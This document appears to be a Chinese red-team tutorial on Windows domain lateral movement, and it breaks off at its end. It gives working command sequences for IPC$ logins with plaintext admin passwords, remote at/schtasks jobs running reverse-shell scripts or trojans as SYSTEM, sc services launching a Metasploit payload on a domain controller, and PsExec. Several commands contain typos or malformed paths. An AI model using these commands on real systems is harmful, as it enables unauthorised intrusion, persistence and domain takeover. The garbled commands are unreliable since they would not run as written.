前言
域内横向移动技术是红队作战在域内最基本技术之一,红队人员会利用该技术,以被攻陷的系统为跳板,通过已经收集的凭据和密码,来访问域内其他主机,扩大战果,最终目的是获取到dc的访问控制权限。
实操
1.ICP
Ipc(共享命名管道),其作用是为了实现进程间通信而开放的命名管道。ipc可以通过用户名和密码建立ipc链接,获取相应的用户权限。
目标机应开放139和445端口,以支持实现远程登陆和默认共享资源的访问
首先需要在跳板机和目标机建立ipc连接
#建立ipc连接
net use \\192.168.75.131\ipc$ "123456" /user:administrator
#查看当前ipc连接:
net use
然后执行命令:
dir \ \\192.168.75.131\c$
当然有了权限,当然得拿shell了
1.1 at计划任务拿shell(管理员权限)
因为要设置计划任务,可能需要对照时间,当然你如果想每分钟就执行一次,就当我没说。
net time \\\192.168.75.131#当前系统时间
复制文件到目标机上:
copy Gamma.bat \\\192.168.75.131\c$
#bat里面放入反弹shell的powershell命令,或者什么
在目标主机上创建用户:
at \\\192.168.75.131\ 5:00PM c:\Gamma.bat Added a new job with job ID=10
反弹成功后记得清除计划任务
at \\\192.168.75.131 10 /delete
1.2 Schtasks
at 命令在windows2008以后的版本被废除了,这时候就用schtasks命令来代替
还是老规矩上传脚本到服务器,或者你直接上传木马也行的。
然后创建计划任务
Schticks /create /s 192.168.75.131 /tn Gamma /sc onstart /tr c:\gamma.exe /ru system /f
但也有些时候,由于当前权限或组策略设置等原因,该schtasks方法远程创建计划任务可能会报错拒绝访问:遇到这种情况,我们可以加上/u和/p参数分别设置高权限用户名和密码,如下:
schtasks /create /s 192.168.183.130 /u administrator /p Liu78963 /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f
然后执行如下命令立即运行该计划任务(也可以自己等一分钟):
schtasks /run /s 192.168.75.131 /i /tn backdoor
// i:忽略任何限制立即运行任务schtasks /run /s 192.168.183.130 /i /tn backdoor /u administrator /p 0XAXSDD // 遇到上面所说的报错时执行加上/u和/p参数分别设置高权限用户名和密码
1.3 创建Windows服务来进行横向渗透
依赖条件:
- 当前跳板机用户具有管理员权限(因为要创建服务)。
- 与目标机器已经建立ipc连接
利用 sc 命令
在windows系统命令提示符中,有一个SC工具命令集。该工具集主要用来对操作系统服务进行管理,该命令是由service一词,简化而来的。我们可以用sc对目标主机远程创建服务来进行横向渗透
使用sc命令远程Windows服务操作需先建立IPC$连接,否则在执行时会返回拒绝访问。
流程基本如下:
- 先让跳板机与内网目标机DC建立ipc连接。
- 然后让跳板机使用copy命令远程操作,将metasploit生成的payload文件Gamma.exe复制到目标主机DC系统C盘中。
- 再在目标主机DC上创建一个名称为“backdoor”的服务。命令如下:
sc \\[主机名/IP] create [servicename] binpath= "[path]" #创建计划任务启动程序
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\Gamma.exe"
4.立即启动该服务:
sc \\WIN-ENS2VR5TR3N start bindshell
5.使用完后删除刚才创建的服务
sc \\[host] delete [servicename]
1.4 工具
PSEXEC:
· Msf windows/smbexec
· Msf admin/smbexec_command
· Impacket psexec
需要远程系统开启admin$(打了kb2871997情况下)共享,建立IP超链接后可以不指定用户名和密码,不能仅拷贝文件不执行,拷贝时可以建立ipc连接后拷贝在启动psexec建立连接后,远程系统上会被安装psexecsvc服务,安装服务会留下日志。
执行原理:
1.通过ipc$连接,copy psexecsvc.exe到目标机器
2.通过服务管理SCManager远程创建psexecsvc服务,并启动服务。
3.客户端连接执行命令,服务端启动相应的程序并执行回显数据。
4.运行完后删除服务。
使用:
第一步先建立ipc共享
第二步使用psexec进入半交互式shell</